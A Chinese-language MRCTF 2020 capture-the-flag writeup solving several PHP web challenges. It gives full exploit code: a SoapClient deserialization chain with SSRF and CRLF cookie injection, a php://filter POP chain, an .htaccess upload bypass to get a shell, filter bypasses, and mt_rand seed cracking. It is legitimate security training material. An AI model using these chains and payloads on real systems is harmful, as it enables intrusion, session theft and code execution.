MRCTF 2020 Writeup

Author:颖奇L’Amore

Blog:www.gem-love.com

Ezpop_Revenge

考点:代码审计、SOAP反序列化、SSRF、CRLF

难度:难

这个题对payload要求太严格了,导致做了好几个小时,本地可以题目就是一直不行,心态崩了

题目打开是个typecho博客,www.zip泄露,下载得到源码,flag.php的代码暗示这是一个SSRF题:

<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
   $_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>

因为是POP链问题,先找反序列化位点:

代码比较多,简化一下,这个Plugin.php中的核心代码如下:

<?php
class HelloWorld_DB{
    private $flag="MRCTF{this_is_a_fake_flag}";
    private $coincidence;
    function  __wakeup(){
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    }
}
class HelloWorld_Plugin implements Typecho_Plugin_Interface
{
	public function action(){
        if(!isset($_SESSION)) session_start();
        if(isset($_REQUEST['admin'])) var_dump($_SESSION);
        if (isset($_POST['C0incid3nc3'])) {
			if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
				unserialize(base64_decode($_POST['C0incid3nc3']));
			else {
				echo "Not that easy.";
			}
        }
    }
}

如果设置了 $_REQUEST ,就会输出session,正好flag会存在SESSIO中。在 HelloWorld_DB__wakeup() 方法内实例化了 Typecho_Db 类,传给构造方法的参数是 $this->coincidence 数组的两个键值,跟进/var/IXR/Typecho/Db.php:

class Typecho_Db
{
    public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;

        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");//__toString()
        }

        $this->_prefix = $prefix;

        /** 初始化内部变量 */
        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();

        //实例化适配器对象
        $this->_adapter = new $adapterName();
    }
}

这个构造方法内将 $adapterName 作为字符串进行了拼接。

在/var/IXR/Typecho/Db/Query.php中有一个非常长的 Typecho_Db_Query 类,有用的代码如下:

class Typecho_Db_Query
{
    private static $_default = array(
        'action' => NULL,
        'table'  => NULL,
        'fields' => '*',
        'join'   => array(),
        'where'  => NULL,
        'limit'  => NULL,
        'offset' => NULL,
        'order'  => NULL,
        'group'  => NULL,
        'having'  => NULL,
        'rows'   => array(),
    );
    private $_sqlPreBuild;
    public function __toString()
    {
        switch ($this->_sqlPreBuild['action']) {
            case Typecho_Db::SELECT:
                return $this->_adapter->parseSelect($this->_sqlPreBuild);
            case Typecho_Db::INSERT:
                return 'INSERT INTO '
                . $this->_sqlPreBuild['table']
                . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
                . ' VALUES '
                . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
                . $this->_sqlPreBuild['limit'];
            case Typecho_Db::DELETE:
                return 'DELETE FROM '
                . $this->_sqlPreBuild['table']
                . $this->_sqlPreBuild['where'];
            case Typecho_Db::UPDATE:
                $columns = array();
                if (isset($this->_sqlPreBuild['rows'])) {
                    foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
                        $columns[] = "$key = $val";
                    }
                }

                return 'UPDATE '
                . $this->_sqlPreBuild['table']
                . ' SET ' . implode(' , ', $columns)
                . $this->_sqlPreBuild['where'];
            default:
                return NULL;
        }
    }
}

假设 $this->_sqlPreBuild['action'] 为SELECT,在 __toString() 方法内就会返回 $this->_adapter->parseSelect($this->_sqlPreBuild) ,调用了 $this->_adapterparseSelect() 方法。

POP链逻辑:

  • 反序列化 HelloWorld_DB ,就触发了 __wakeup() 方法,在 __wakeup() 内实例化 Typecho_Db 并以 $this->coincidence['hello'] 作为 Typecho_Db__construct() 方法的第一个参数;
  • PHP的数组是可以存对象,假设 $this->coincidence['hello'] 实例化 Typecho_Db_Query 对象,在 Typecho_Db 的构造方法中将其作为字符串,就触发了 Typecho_Db_Query__toString() 方法;
  • __toString() 内,如果 $_sqlPreBuild['action']'SELECT' 就会触发 $_adapterparseSelect() 方法;
  • $_adapter 实例化为 SoapClient ,调用 parseSelect() 是不存在的方法,触发了 SoapClient__call() 魔术方法
  • __call() 是实现SSRF的关键
public SoapClient::__call ( string $function_name , array $arguments )

POP链清楚了,exp就很好写,本题目有个坑的地方,直接生成的payload不会触发成功,要将字符串改写成十六进制,也就是将表示字符串的s写成大写S,这样private属性后面的 %00 这个不可见字符就能写成 \00 (如果是小写s 这个 \00 表示一个斜线和两个0 是三个字符)构造了好几个小时怎么都不能把flag带出来。最后队里shana师傅把 %00 写成了十六进制的 \00 表示形式,成功了。

写了一个脚本,能自动修改成\00的形式,输出的payload可以直接用:

<?php
//www.gem-love.com
class Typecho_Db_Query
{
    private $_adapter;
    private $_sqlPreBuild;

    public function __construct()
    {
        $target = "http://127.0.0.1/flag.php";
        $headers = array(
            'X-Forwarded-For:127.0.0.1',
            "Cookie: PHPSESSID=s8fo8ma30gbttqvgdbb48k6rm4"
        );
        $this->_adapter = new SoapClient(null, array('uri' => 'aaab', 'location' => $target, 'user_agent' => 'Y1ng^^' . join('^^', $headers)));
        $this->_sqlPreBuild = ['action' => "SELECT"];
    }
}

class HelloWorld_DB
{
    private $coincidence;
    public function __construct()
    {
        $this->coincidence = array("hello" => new Typecho_Db_Query());
    }
}

function decorate($str)
{
    $arr = explode(':', $str);
    $newstr = '';
    for ($i = 0; $i < count($arr); $i++) {
        if (preg_match('/00/', $arr[$i])) {
            $arr[$i - 2] = preg_replace('/s/', "S", $arr[$i - 2]);
        }
    }
    $i = 0;
    for (; $i < count($arr) - 1; $i++) {
        $newstr .= $arr[$i];
        $newstr .= ":";
    }
    $newstr .= $arr[$i];
    echo "www.gem-love.com\n";
    return $newstr;
}

$y1ng = serialize(new HelloWorld_DB());
$y1ng = preg_replace(" /\^\^/", "\r\n", $y1ng);
$urlen = urlencode($y1ng);
$urlen = preg_replace('/%00/', '%5c%30%30', $urlen);
$y1ng = decorate(urldecode($urlen));
echo base64_encode($y1ng);

因为想要带SESSION出来,必须要把自己的PHPSESSID传过去,然而SOAP并不能设置Cookie,因此需要CRLF。SoapClient可以设置UA,只要在UA后加上 \r\nCookie: PHPSESSID=xxx 就能为http头添加一个新的Cookie字段,这样就能带上session了。

还有最后一个问题,这个插件现在还不知道在哪调用,不知道在哪执行就不能反序列化。在/var/Typecho/Plugin.php中有如下路由代码:

public static function activate($pluginName)
{
    self::$_plugins['activated'][$pluginName] = self::$_tmp;
    self::$_tmp = array();
    Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
}

所以来到http://38.39.244.2:28102/page_admin,POST提交生成的payload,就会SOAP去访问flag.php实现SSRF把flag带到session中,然后带上admin参数来输出session即可得到flag

flag:MRCTF{Cr4zy_P0p_4nd_33RF}

PYwebsite

考点:分析

难度:简单

题目需要填一个授权码验证获取flag,查看一下是前端验证,没什么卵用:

<script>
function enc(code){
  hash = hex_md5(code);
  return hash;
}
function validate(){
  var code = document.getElementById("vcode").value;
  if (code != ""){
    if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
      alert("您通过了验证!");
      window.location = "./flag.php"
    }else{
      alert("你的授权码不正确!");
    }
  }else{
    alert("请输入授权码");
  }
  
}
</script> 

这里验证一个md5,但是md5解不出来的,不过无所谓。直接访问/flag.php就可以

因为前段很fine下秒mine,把代码扒下来发现lib/php-mail-form/validate.js中的JQuery会发一个POST请求:

var action = $(this).attr('action');
    if( ! action ) {
      action = 'contactform/contactform.php';
    }
    
    var this_form = $(this);
    this_form.find('.sent-message').slideUp();
    this_form.find('.error-message').slideUp();
    this_form.find('.loading').slideDown();
    $.ajax({
      type: "POST",
      url: action,
      data: str,
      success: function(msg) {
        if (msg == 'OK') {
          this_form.find('.loading').slideUp();
          this_form.find('.sent-message').slideDown();
          this_form.find("input, textarea").val('');
        } else {
          this_form.find('.loading').slideUp();
          this_form.find('.error-message').slideDown().html(msg);
        }
      }
    });

但是请求的目标contactform/contactform.php是不存在的,怀疑出题人前段一键白嫖的时候没有仔细检查。

访问flag.php告诉还没买,已经记录了购买者的ip

分析代码可知前段那个授权码验证肯定是无效的(就算验证通过后端也不知道),所以购买flag肯定是假的。因为记录了购买者的ip,所以XFF伪造一下,得到flag

ez_bypass

考点:代码审计、弱类型

难度:简单

打开之后是一堆无缩进的代码,美化一下:

<?
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
	$id=$_GET['id'];
	$gg=$_GET['gg'];
	if (md5($id) === md5($gg) && $id !== $gg) {
		echo 'You got the first step';
		if(isset($_POST['passwd'])) {
			$passwd=$_POST['passwd'];
			if (!is_numeric($passwd)) {
				if($passwd==1234567) {
					echo 'Good Job!';
					highlight_file('flag.php');
					die('By Retr_0');
				} else {
					echo "can you think twice??";
				}
			} else {
				echo 'You can not get it !';
			}
		} else {
			die('only one way to get the flag');
		}
	} else {
		echo "You are not a real hacker!";
	}
} else {
	die('Please input first');
}
}

签到题,第一层md5用数组绕过,第二层弱类型比较绕过

你传你:racehorse:呢

考点:上传绕过

难度:简单

这个题最坑的地方就是HTTP Response回返回Sever: Nginx,最开始以为是Nginx测试了半天也没有任何解析漏洞、任何上传绕过方法。后来去看了404页面发现是Apache,那就好办了。

fuzz发现,上传的图片需要是个可以打开的图片(和隔壁武科的CV Maker一样)

然后后缀是黑名单检测,禁止上传带ph的后缀。因为没了ph就基本上不能绕过后缀名,可以上传.htaccess规则文件让Apache用php去解析jpg,达到getshell目的。参考 GXYCTF的BabyUpload

.htaccess文件内容:

AddType application/x-httpd-php .jpg

再传个图片马getshell即可。懒得开动态靶机,不截图详细写了。

Ezpop

考点:反序列化、构造POP链

难度:简单

打开得到源码:

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

就3个类,链子很短,比较好做。

  1. __wakeup() 方法通过 preg_match()$this->source 做字符串比较,如果 $this->sourceShow 类,就调用了 __toString() 方法;
  2. __toString() 访问了 strsource 属性, strTest 类,不存在 source 属性,就调用了 Test 类的 __get() 魔术方法;
  3. __get() 方法将 p 作为函数使用, p 实例化为 Modify 类,就调用了 Modifier__invoke() 方法;
  4. __invoke() 调用了 append() 方法,包含 $value ,若将 $value 为伪协议,则可读flag.php源码
<?php
class Modifier {
    protected  $var = "php://filter/convert.base64-encode/resource=flag.php";
}

class Show{
    public $source;
    public $str;
    public function __construct($file){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return "www.gem-love.com";
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier();
    }
}


$o = new Show('aaa');
$o->str= new Test();
$y1ng = new Show($o);
echo urlencode(serialize($y1ng));

传给pop参数,即可得到flag.php的base64,解码得到flag。

套娃

考点:简单Bypass、伪协议、简单加密

难度:简单

第一层

右键查看源代码

$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}

这里第一个主要是匹配了 _ ,因为$_SERVER[‘QUERY_STRING’]不会urldecode所以一般套路是可以URL编码,但是本题目ban掉了 _ 的编码值 %5f 绕过方法:

  1. %5F
  2. b.u.p.t(点代替_)
  3. b u p t(空格代替_)

毕竟是最好的语言,总是有一些奇奇怪怪的黑魔法。

第二层换行污染绕过,可参考:  2020BJDCTF “EzPHP” +Y1ngCTF “Y1ng’s Baby Code” 官方writeup

payload:

?b.u.p.t=23333%0a

得到下一步的文件名:secrettw.php

第二层

打开之后需要本地访问,伪造HTTP头之后注释处有JSFUCK,解密得到:Post me Merak

post一个Merak参数之后得到源码:

?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> 

对于 file_get_contents()data:// 伪协议绕过

然后输出 file_get_contents(change($_GET['file'])) ,对于这个 change() 写一个解密脚本:

<?php
function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord($v[$i]) + $i*2 ); 
    } 
    return $re; 
}

function dechange($v){
	$re = '';
	for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord($v[$i]) - $i*2 ); 
    } 
	echo base64_encode($re)."<br>";
	return $re;
}
$a = dechange('flag.php');
echo change(base64_encode($a));

得到:ZmpdYSZmXGI=

payload:

secrettw.php?2333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI=

Ezaudit

考点:源码泄露、伪随机数、基础SQL

难度:简单

原题为2019GYCTF枯燥的抽奖,安恒新春赛也出了一遍这个题,因为以前做过就直接拿来原来脚本一把梭了

扫一下有源码泄露:

下载源码:

<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $Private_key = $_POST['Private_key'];
    if (($username == '') || ($password == '') ||($Private_key == '')) {
        // 若为空,视为未填写,提示错误,并3秒后返回登录界面
        header('refresh:2; url=login.html');
        echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
        exit;
}
    else if($Private_key != '*************' )
    {
        header('refresh:2; url=login.html');
        echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
        exit;
    }

    else{
        if($Private_key === '************'){
        $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 
        $link=mysql_connect("localhost","root","root");
        mysql_select_db("test",$link);
        $result = mysql_query($getuser);
        while($row=mysql_fetch_assoc($result)){
            echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
        }
    }
    }

} 
// genarate public_key 
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

  //genarate private_key
  function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
  $Public_key = public_key();
  //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr's private_key???

这里主要是要比较这个私钥,题目给了公钥,可以发现他们都是 mt_rand() 生成的。所以只要用公钥去还原种子,然后再手工算出私钥即可

#include<stdio.h>
#include <string.h>
int main()
{
    char *str1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    char *str2 = "KVQP0LdJKRaV3n9D"; //公钥

    for (int i = 0; i < strlen(str2) ; i++) {
        for (int j = 0; j < strlen(str1) ; j++) {
            if ( str2[i] == str1[j] ) {
                printf("%d %d 0 %d ", j, j, strlen(str1)-1);
                break;
            }
        }
    }
    return 0;
}

得到:

把上面这串数字丢进php_mt_rand爆破,得到种子:1775196155

<?php
mt_srand(1775196155);

function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
}

//genarate private_key
function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
}
$Public_key = public_key();
$y1ng = private_key();
echo $Public_key . "<br>";
echo $y1ng;

得到私钥:XuNhoueCDCGc

因为给了sql语句,登录时候构造一个简单的SQL查询布尔true,登录,即可得到flag。

我来评几句
登录后评论

已发表评论数()

相关站点

热门文章